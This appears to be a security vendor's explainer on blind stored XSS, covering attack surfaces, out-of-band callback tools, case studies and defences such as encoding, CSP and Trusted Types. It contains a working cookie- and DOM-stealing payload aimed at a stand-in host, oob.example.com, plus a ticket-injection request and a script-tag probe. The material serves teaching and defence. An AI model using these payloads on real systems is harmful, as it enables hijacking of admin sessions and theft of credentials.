Payload executes in a context the attacker cannot see, such as an admin panel, logging system, or internal tooling.
TL;DR
Blind XSS is a stored XSS variant where the attacker cannot directly observe where or when the payload executes. The payload is injected through a user-facing surface — a contact form, support ticket, order note, User-Agent header — and fires later in an internal or administrative context that the attacker has no access to: a help desk dashboard, an analytics panel, a log viewer, or a PDF generation pipeline.
Because the attacker cannot see the response where the payload executes, standard XSS testing tools fail entirely. The vulnerability is invisible without out-of-band (OOB) infrastructure: the payload must notify the attacker when it fires, carrying enough context — the page URL, DOM content, cookies — to be actionable.
Blind XSS occupies the high end of the XSS severity spectrum. The payload typically executes in a privileged administrator or support agent session (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N = 8.5–9.1 Critical), and the post-exploitation possibilities include full session hijacking, internal network pivoting via fetch(), and persistent backdoors in admin tooling.
The blind XSS lifecycle differs from standard stored XSS in the execution context and the detection method:
| Surface | Typical Delay | Execution Context | Risk |
|---|---|---|---|
| Support ticket body | 1 min – 4 hours | Support agent browser | Critical — session hijack |
| Contact form message | 1 min – 12 hours | Admin email client / dashboard | Critical |
| User-Agent header | 1 min – 24 hours | Log viewer / analytics | High |
Referer header | 1 min – 24 hours | Analytics dashboard | High |
| UTM parameters | 1 min – 48 hours | Marketing analytics | High |
| PDF generation fields | Near-immediate | Headless Chrome on server IP | Critical — SSRF pivot |
| Webhook log viewer | 1 min – 24 hours | Admin dashboard | Critical |
| EXIF metadata | Variable | Media management UI | High |
| AI moderation panel | Variable | LLM-powered review dashboard | Critical (new vector) |
PDF generation endpoints are uniquely dangerous: wkhtmltopdf and headless Chrome execute JavaScript during PDF rendering on the server's IP address. A blind XSS firing here allows fetch() to reach internal services — cloud metadata at 169.254.169.254, private API endpoints, and internal databases — producing a combined XSS + SSRF attack chain.
Every production blind XSS tool implements the same three-component model:
/xss/TICKET-4892-USER-alice/callback)A single CSP policy may block one exfiltration method but not others. This three-probe payload attempts all available channels:
// CSP-resilient blind XSS payload
// Tries image beacon, fetch, and script injection in sequence
(function(token) {
var oob = 'https://oob.example.com/xss/' + token;
var data = '?l=' + btoa(location.href).slice(0, 64)
+ '&c=' + btoa(document.cookie).slice(0, 64)
+ '&d=' + btoa(document.body.innerText).slice(0, 128);
// Method 1: img beacon (blocked by img-src restrictions)
new Image().src = oob + data;
// Method 2: fetch no-cors (blocked by connect-src)
try { fetch(oob + data, { mode: 'no-cors' }); } catch(e) {}
// Method 3: script tag injection (blocked by script-src)
var s = document.createElement('script');
s.src = oob + data;
document.head && document.head.appendChild(s);
}('UNIQUE_TOKEN_PER_INJECTION'));Embedded in a standard payload carrier:
POST /api/support-tickets
Content-Type: application/json
{
"subject": "Login issue",
"body": "I cannot access my account.<script src='https://oob.example.com/xss/TICKET-TOKEN/payload.js'></script>"
}| Platform | Hosting | Protocols | Features | Best For |
|---|---|---|---|---|
| XSS Hunter Express | Self-hosted (Docker + PostgreSQL) | HTTP | Screenshot capture, DOM snapshot, localStorage, Discord/Slack/email alerts | Full-featured pentest ops |
| Interactsh | Self-hosted or oast.fun | HTTP, DNS, SMTP, LDAP | Multi-protocol, HTTP API polling, CI pipeline integration | Automated pipelines |
| BXSS Hunter | Managed (bxsshunter.com) | HTTP | Managed, no infra required | Quick engagements |
| xless | AWS Lambda (serverless) | HTTP | Minimal infra cost, serverless | Low-budget persistent ops |
BreachVex OOB pattern: Each injection receives a unique token embedded in the callback URL, and the injection context is retained for a multi-day correlation window. Callbacks arriving within that window are correlated to the correct injection surface and surfaced as cross-origin confirmed-execution findings.
CVE-2025-0133 — Palo Alto GlobalProtect (XBOW discovery) XBOW's automated pentest system discovered a blind XSS in GlobalProtect via systematic payload injection across all user-facing fields and persistent OOB callback monitoring. The vulnerability allowed unauthenticated users to inject payloads that fired in the administrator's management interface. XBOW's approach — 84.6% coverage on a 104-challenge benchmark — demonstrates that automated blind XSS hunting at scale is now commercially viable.
HackerOne #3357808 — Nextcloud Stored XSS via SVG (Blind variant) SVG file uploaded to cloud storage rendered inline in the admin media management interface. The payload fired when an administrator browsed the shared folder — a blind XSS scenario where the original file uploader (attacker) had no visibility into when or in whose session the payload would execute. Bounty: $150.
Internal Admin Dashboard Pattern The most common enterprise blind XSS vector: customers submit support requests through a web form. The ticket contents are rendered in a CRM or help desk tool — Zendesk, Freshdesk, custom builds — that displays raw HTML from customer input in agent views. Payloads submitted through the public contact form fire in agent browsers minutes later. The agent's session cookie, which grants full CRM access, is exfiltrated to the attacker's OOB server.
# Set up Interactsh listener
interactsh-client -server https://oast.fun -v
# Use generated FQDN in payload:
# "><script src="https://abc123.oast.fun/payload.js"></script>Standard DAST tools cannot discover blind XSS without OOB infrastructure. Tools that support it:
--blind <oob-url> — injects OOB payloads and monitors callbacksBreachVex detects blind XSS using a unique per-injection OOB token registry: each write endpoint receives a distinct token embedded in the callback URL, and the engine correlates callbacks to their injection surfaces throughout the scan session.
The most critical gap: developer teams harden public-facing pages but neglect internal tools, assuming admin users are trusted. The encoding requirement applies equally to both:
# Django template — always use | e filter for stored user input
# {{ ticket.subject | e }} → HTML entity encoding (safe)
# {{ ticket.subject }} → may be safe or not depending on autoescape setting
# {{ ticket.subject | safe }} → DANGEROUS: bypasses encoding entirely
# Jinja2 — autoescape should be True globally, especially for admin templates
from jinja2 import Environment
env = Environment(autoescape=True) # safe default for all templatesAdmin interfaces typically have looser CSP than public pages. Enforce a strict policy specifically on admin routes:
# Admin panel CSP — stricter than public site
Content-Security-Policy:
default-src 'none';
script-src 'nonce-RANDOM_PER_REQUEST' 'strict-dynamic';
connect-src 'self';
img-src 'self' data:;
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';A CSP that restricts connect-src but allows img-src data: or script-src https: still allows blind XSS callbacks via image beacon or remote script injection. Close all three channels simultaneously: img-src 'self', connect-src 'none', script-src 'nonce-...'.
// Admin panel Trusted Types policy
// Enforces DOMPurify sanitization on all innerHTML assignments
if (window.trustedTypes && window.trustedTypes.createPolicy) {
const policy = window.trustedTypes.createPolicy('admin-default', {
createHTML: (input) => DOMPurify.sanitize(input, {
ALLOWED_TAGS: ['b', 'i', 'p', 'br', 'strong', 'em'],
ALLOWED_ATTR: [], // no attributes in ticket display
}),
});
// Replace all: element.innerHTML = ticketContent
// With: element.innerHTML = policy.createHTML(ticketContent)
}Blind XSS is a stored XSS variant where the payload fires in a context the attacker cannot observe — an admin panel, support ticket dashboard, log viewer, or PDF generator. The attacker cannot see the response where execution occurs. Detection requires out-of-band (OOB) infrastructure: the payload phones home to an attacker-controlled server when it fires.
The attacker embeds a unique per-injection token in a callback URL. When the payload fires in the victim's browser, it sends a request to the attacker's OOB server containing the token plus exfiltrated data (cookies, DOM content, URL). The server matches the callback token to the injection context, alerting the attacker which surface fired.
XSS Hunter Express (self-hosted, PostgreSQL, screenshot capture), Interactsh (projectdiscovery, multi-protocol OOB: HTTP/DNS/SMTP), BXSS Hunter (managed service), and xless (serverless AWS Lambda). BreachVex uses its own out-of-band token registry, retaining injection context across a multi-day window to catch delayed callbacks.
Support ticket systems (payload delay: 1 min to 4 hours), PDF generation endpoints (immediate — executes on server IP during render), webhook log viewers (1 min to 24 hours), analytics dashboards (UTM params, Referer headers), email template editors (1 hour to 7 days), and AI content moderation panels displaying flagged user content.
Yes. A blind XSS payload firing in an admin browser can use fetch() to make requests to internal services that are inaccessible from the internet. The response is sent to the attacker's OOB server. This upgrades XSS to SSRF-equivalent capability, giving attackers access to internal APIs, metadata services, and cloud credential endpoints.
The prevention stack is identical to stored XSS: output encoding at the render context for all stored data, DOMPurify sanitization for any user-authored HTML rendered in admin views, strict CSP with nonce-based script-src for admin panel pages, and Trusted Types enforcement. Admin interfaces are often less hardened than public-facing ones — this is the priority gap.
Delay varies by surface: PDF generators fire near-immediately (headless Chrome renders during generation). Support ticket dashboards fire when a support agent opens the ticket — minutes to hours. Email template editors fire when the email is opened in a webmail client — hours to days. Analytics dashboards fire on the next admin analytics review.
Blind XSS targets admin or internal privileged sessions, so the Scope is Changed and Impact is typically High/High/None: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N = 8.5 to 9.1 Critical, depending on required privilege level for the initial injection.